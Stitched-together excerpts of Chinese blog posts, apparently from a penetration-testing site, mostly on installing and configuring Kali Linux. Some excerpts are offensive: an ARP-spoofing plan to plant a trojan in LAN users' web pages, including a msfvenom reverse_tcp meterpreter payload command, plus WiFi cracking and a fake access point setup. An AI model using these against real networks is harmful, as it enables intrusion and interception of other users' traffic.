在渗透测试过程中,很多时候我们需要反弹一个shell回来.使用empire也好,MSF也好,其他工具也好,都避不开公网IP的问题.这时候我们就需要一个VPS来进一步进行渗透测试. 建立通道连接的方式有很多种,比如NAT映射.ssh隧道等各种方式,这里我们就不探讨了. 建立通道的不稳定性很高,容易断开,对网络安全爱好者来说是一种莫大的折磨.而且可能由于种种原因,购买不到KVM架构的VPS,无法直接在VPS上安装kali linux等渗透测试系统.下面介绍了几种在debian系统下安装kali li

上次发布过一篇在OSX系统破解WIFI密码的教程, 这次发布一篇使用kali破解wifi的教程 WEP和WPA/PSK的区别 WPA/PSK的加密方式相对于WEP的加密方式更加安全,WEP是一种老式的加密方式,在2003年时就被WPA加密所淘汰,由于其安全性能存在好几个弱点,很容易被专业人士攻破,不过,对于非专业人来说还是比较安全的.其次由于WEP采用的是IEEE 802.11技术,而现在无线路由设备基本都是使用的IEEE 802.11n技术,因此,当使用WEP加密时会影响无线网络设备的传输速率

目的 通过Arp欺骗, 给局域网内的所有用户网页中植入木马, 只要用户运行以后, 就会反弹一个shell到我们计算机 准备 kali系统 metaspolit的使用 Arp欺骗工具:bettercap 博客园账号密码(用来上传小马文件) metaspolit小马的准备 因为我本地的ip为151, 溢出后反弹的端口为444, 使用msfvenom生成名字为run1.exe的小马文件: msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f exe

1.首先你需要一个移动硬盘和一个移动硬盘盒子(一根数据转换线,一般买盒子商家会赠送的) SSD硬盘要事先格式化一下格式,不然识别不出来 2.准备好Kali镜像,传送门在这里https://www.kali.org/,安装好VM虚拟机,值得一说的是固态硬盘,一定要开启虚拟机的USB3.0端口 这里配置虚拟机的时候把虚拟机自带的硬盘删掉,用我们的固态硬盘.虚拟机开启的时候,右下角有一个USB的灰色的图标,点一下,连接上你的固态硬盘,如下图 3.好了接下来我们正式开始,安装Kali的步骤就不一一赘述,

把kali系统装在u盘上,会带来极大的便利,只要有网有机就能随时随地hacking,但是u盘体积太小极易丢失,所以需要对其备份以备万一. 一般kali启动U盘分为两个区:启动区和文件存放区.如下图 我们只需备份persistence盘,里面存放着我们自定义.安装.编写的配置.软件.文件等. 打开安装了linux系统的虚拟机插入u盘,可以看到挂载在/media/root/persistence目录下 先创建一个存放备份的文件夹 mkdir disk cd disk 查看一下u盘的文件确认无误 ls

准备 当前环境:OSX 10.11.6 , 准备VMware虚拟机软件和kali系统 为什么要安装kali系统 Kali Linux预装了许多渗透测试软件,包括nmap (端口扫描器).Wireshark (数据包分析器).John the Ripper (密码破解器),以及Aircrack-ng (一套用于对无线局域网进行渗透测试的软件). 用户可通过硬盘.live CD或live USB运行Kali Linux.Metasploit的Metasploit Framework支持Kali Li

一.Kali系统更新源 使用官网的虚拟化镜像安装,默认为英文界面,更新源也是官方源.因为官方服务器在国外,速度不是很理想,现在就来改国内源并且更新系统. 1.使用编辑器打开系统源文本(在终端内操作,先备份原来的文件是个好习惯) leafpad /etc/apt/sources.list 2.获取国内源地址,清华源,地址如下: deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib deb-sr

ll命令:也就是ls -l的缩写方式. 重装kali系统之后,发现无法使用ll命令了,于是写一个笔记记录一下如何添加ll命令. 解决方法: vim ~/.bashrc 将alias ll=’ls -l‘前面的注释符号#删掉 下次在遇到,你的世界没有我.

Linux下软件的安装:方式:yum/rpm/源码安装YUM安装(帮助管理员解决依赖关系):yum search mysqld 在源中搜索软件包yum install mysql-connector-odbc.x86_64 安装软件yum remove mysql 卸载软件 yum erase mysql RPM安装:查询已安装软件的信息:rpm -q mysql:仅查询,后面接的软件名称是否有安装rpm -qa:列出所有的,已经在本机上安装的软件rpm -qa | grep mysql: 查询

以下方法是VPS下的WIN系统下安装ROS的方法,LINUX暂时没有 VPS系统装2003或2008 ,建议2008 启动快,安全,但以下内容是在2003上测试的, 2003系统,2003设置开机自动登陆,. 虚拟机设置成桥接,单网卡即可,桥接模式,MAC和IP地址都要用系统网卡的,要一样,否则不能上网,刚开始做的时候MAC不一样就行了,用MAC进去,IP可以配置成一样的, 其实主要的原理,就是让ROS变成外网的IP和外网网卡,来负责上网和路由,而阿里云的VPS(WIN)变成ROS路由下的一台主

Kali Linux系统提供的apt-get方式,可以很好的安装软件,对系统进行更新.但是每次执行都会下载大量的软件包.这些软件包被安装后,并不会被自动删掉,会持续占用磁盘空间.解决这个问题有两个办法. 第一,使用apt-get clean命令删除所有下载的软件包.如果只想删除不再使用的旧软件包,可以使用apt-get autoclean命令. 第二,用户可以手动删除这些软件包.apt-get下载的软件包保存在var/cache/apt/archives目录下.进入该目录,删除所有文件,即可.

1.一般使用的kali 安装都是将系统文件全部放在一个总分区中,应用程序会产生临时文件,另外在安装软件的时候会出现 系统框架的不同,但是kali并不会检测该问题,直接当依赖的框架下载,可以是使用命令 dpkg---print-acrhitecture 如果存在多余的框架可以使用删除命令删除.每次更新的时候也会产生软件包没有及时清除积累.产生的日志文件也会导致系统增肥问题. 2.删除掉对应Var中缓存的文件,删除日志文件.会适当的增加磁盘的存储空间. 3.扩展新的磁盘,进行挂在到系统(扎样做只能延

基础配置 由于kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用. 在kali 2.0中启动带数据库支持的MSF方式如下: 1 首先启动postgresql数据库: /etc/init.d/postgresql start:或者 service postgresql start: 2 初始化MSF数据库(关键步骤!):msfdb init:(如不能初始化,就用msfdb reinit试试吧!默认创建的数据库名:msf,

kali Nethunter是一个装在手机上的kali,集成了kali的工具包,hid,无线攻击等等. 本文主要叙述如何安装此系统并正确的配置.不让你走弯路. 首先我们拒绝傻瓜安装软件 kali nethunter install这对我们接下来要讲的机型安装会有一个大的误点 #需要的材料有: 一部nexus5(kali官网有支持的手机型号,建议大家使用支持的型号来刷取系统,要不然很容易变砖.) nexus5的价格大约在300-400之间,我买的时候是350,具体你们可以上某宝去查看价格浮动. 我

一.背景信息在安装完 kali linux 2020.1 时,其操作系统默认语言为英文的,我们操作起来比较麻烦,为了以后操作方便起见,这边将其操作系统默认语言更改为中文.本篇文章将带领各位小伙伴们一起去将操作系统默认语言更改为中文二.操作步骤    打开Terminal Emulator 界面,查看当前系统语言为默认英文在这里插入图片描述    在Terminal Emulator 中执行dpkg-reconfigure locales命令    注意:如果是root用户可直接执行dpkg-re

1.修改sshd_config文件,命令为:vi /etc/ssh/sshd_config 2.将#PasswordAuthentication no的注释去掉,并且将NO修改为YES  //我的kali中默认是yes 3.将#PermitRootLogin yes的注释去掉 //我的kali中默认去掉了注释 4.启动SSH服务,命令为:/etc/init.d/ssh start // 或者service ssh start 5.验证SSH服务状态,命令为:/etc/init.d/ssh sta

sources.list deb http://http.kali.org/kali kali-rolling main non-free contrib deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib #阿里云kali源 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirror

kali中的Firefox浏览器默认为英文,这对英语不够好的我来讲,自然是很麻烦的,下面讲一下如何将语言设置为中文. 1.打开终端,输入 apt -y install firefox-esr-l10n-zh-cn  ,回车,下载安装firefox浏览器中文语言包 2.打开火狐浏览器,选择右上角的菜单,选择“选项”,就是齿轮图标 3.选择“内容”-->在语言栏点击“选择”,选择“中文/中国 [zh-cn]”,点击“确定”,重启浏览器即可 完

1. Aircrack-ng Aircrack-ng是用来破解WEP/WAP/WPA 2无线密码最佳的黑客工具之一! 它通过接收网络的数据包来工作,并通过恢复的密码进行分析.它还拥有一个控制台接口.除此之外,Aircrack-ng还利用标准的FMS(Fluhrer.Mantin和Shamir)攻击,以及一些优化(如KORK攻击和PTW攻击)来加速攻击. Aircrack-ng 2. Hydra 九头蛇使用暴力攻击的方式,几乎可以破解任何远程身份验证服务.它支持50多种协议,包括ftp.https

1:把网卡改成混杂模式 sduo airmon-ng start wlan0 2:aircrack套件创建一个fake-ap airbase-ng -e fake-ap -c wlan0mon 此时,手机的wifi列表中, 就可以看到这个wifi名, 而且可以连上这个WIFI, 但是无法获取到IP 执行iwconfig之后, 可以看到, 多了一个网络接口  at0: 3:如果未安装dhcp服务的话, 执行以下命令,安装服务: apt-get install isc-dhcp-server 4:配

打开终端分别输入下面两条命令: update-alternatives --install /usr/bin/python python /usr/bin/python2 100 update-alternatives --install /usr/bin/python python /usr/bin/python3 150 然后打开终端输入:python --version 如果没有错误的话,此时python版本应该切换到默认的python3了. 如果需要重新切换回python只需要在终端输入